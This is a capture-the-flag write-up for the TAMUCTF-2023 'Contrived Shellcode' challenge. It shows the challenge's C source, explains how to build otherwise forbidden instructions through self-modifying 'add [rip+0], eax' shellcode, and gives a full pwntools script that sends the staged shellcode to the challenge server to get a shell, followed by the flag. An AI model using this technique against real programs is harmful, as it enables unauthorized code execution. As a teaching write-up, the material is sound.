ʕ·ᴥ·ʔ






Contrived Shellcode

05/04/2023

By: unvariant

Tags: pwn TAMUCTF-2023

Problem Description:

There's a 0% chance this has any real world application, but sometimes it's just fun to test your skills.

Hints:

Reveal Hints None

The challenge provides a few files:

├── contrived-shellcode
├── contrived-shellcode.c
└── solver-template.py

The main script accepts shellcode only containing certain characters:

#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned char whitelist[] = "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f";

void check(unsigned char* code, int len) {
    for (int i = 0; i < len; i++) {
        if (memchr(whitelist, code[i], sizeof(whitelist)) == NULL) {
            printf("Oops, shellcode contains blacklisted character %02X at offset %d.\n", code[i], i);
            exit(-1);
        }
    }
}

int main() {
    unsigned char* code = mmap(NULL, 0x1000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

    int len = read(0, code, 0x100);

    if (len > 0) {
        if (code[len - 1] == '\n') {
            code[len - 1] = '\0';
        }
        check(code, len); 
        ((void (*)())(code))();
    }
}

I did not know how to solve this challenge until I found a writeup by nobodyisnobdy for gelcode-2, a shellcode challenge that was even more restrictive than this one. In gelcode-2 the whitelist consisted of bytes from 0 to 5 inclusive.

Their solution takes advantage that the shellcode memory is writeable. It sets up eax to a specific value, then modifies the next instruction using add [rip + 0], eax to a valid instruction. I reused their method to solve this problem because the constraints are the same.

Exploit

    01 05 00 00 00 00    	add    DWORD PTR [rip+0x0],eax
    05 00 00 00 00       	add    eax,0x0

We can use these two instructions to create instructions we would otherwise not be able to access because of the whitelist. The target instructions to generate are:

    xor eax, eax
    xor edi, edi
    lea rsi, [rip + 0]
    mov edx, 0x400

Then afterward perform a syscall to write new shellcode that is not restricted by the whitelist, and pop a shell.

Solve script
from pwn import *
import subprocess

""" inspired by https://github.com/nobodyisnobody/write-ups/tree/main/RedpwnCTF.2021/pwn/gelcode-2 """
"""
eax: initial value of eax
instr: list of bytes to write (must be length 4)
known: the value of the bytes already in the buffer
"""
def modify (eax, instr, known=[0, 0, 0, 0]):
    global sc

    assert(len(instr) == 4)
    assert(len(known) == 4)

    code = []
    eax = [(eax >> i * 8) & 0xff for i in range(4)]

    for i in range(4):
        if eax[i] + known[i] > instr[i] and i < 3:
            instr[i + 1] -= 1
            instr[i + 1] &= 0xff

    while any([(eax[i] + known[i]) & 0xff != instr[i] for i in range(4)]):
        addend = [0, 0, 0, 0]
        for i in range(4):
            diff = instr[i] - ((eax[i] + known[i]) & 0xff)
            if diff >= 0:
                byte = min(diff, 15)
            else:
                byte = min(256 + diff, 15)
            addend[i] = byte
            eax[i] += byte
        addend = sum([addend[i] << i * 8 for i in range(4)])
        if addend > 255:
            code.append(f"add eax, 0x{addend:x}")
        else:
            code.append(f"add al, 0x{addend:x}")

    sc += "\n".join(code) + "\n"
    eax = sum([eax[i] << i * 8 for i in range(4)])

    return eax

sc = ".intel_syntax noprefix\n"
eax = modify(0, [0xba, 0, 4, 0], [0xf, 0, 4, 0])
sc += "add [rip + 0], eax\n"
sc += ".byte 0xf, 0, 4, 0, 0\n"
eax = modify(eax, [0xbf, 0, 0, 0], [0xf, 0, 0, 0])
sc += "add [rip + 0], eax\n"
sc += ".byte 0xf, 0, 0, 0, 0\n"
eax = modify(eax, [0x48, 0x8d, 0x35, 0x00], [0x0F, 0x0F, 0x0F, 0x05])
sc += "add [rip + 0], eax\n"
sc += ".byte 0xf, 0xf, 0xf, 5, 0, 0, 0\n"
eax = modify(eax, [0x31, 0xc0, 0xf, 5], [0xf, 0xf, 0xf, 5])
sc += "add [rip + 0], eax\n"
sc += ".byte 0xf, 0xf\n"
sc += "syscall\n"

with open("attack.s", "w") as f:
    f.write(sc)

subprocess.call(["as", "attack.s", "-o", "attack.o"])
subprocess.call(["objcopy", "-I", "elf64-x86-64", "-O", "binary", "attack.o", "attack.bin"])

with open("attack.bin", "rb") as f:
    sc = f.read()

assert(len(sc) <= 256)

p = remote("tamuctf.com", 443, ssl=True, sni="contrived-shellcode")
#p = process("./contrived-shellcode")

p.send(sc.ljust(256, b"\x00"))

# magic offset number from gdb
offset = len(sc) - 0x92
p.send(b"A" * offset + open("shell.bin", "rb").read())

p.interactive()

Alternate solutions

  • after a syscall, rcx is set to the address of the next instruction

Flag: gigem{Sh3llc0d1ng_1s_FuN}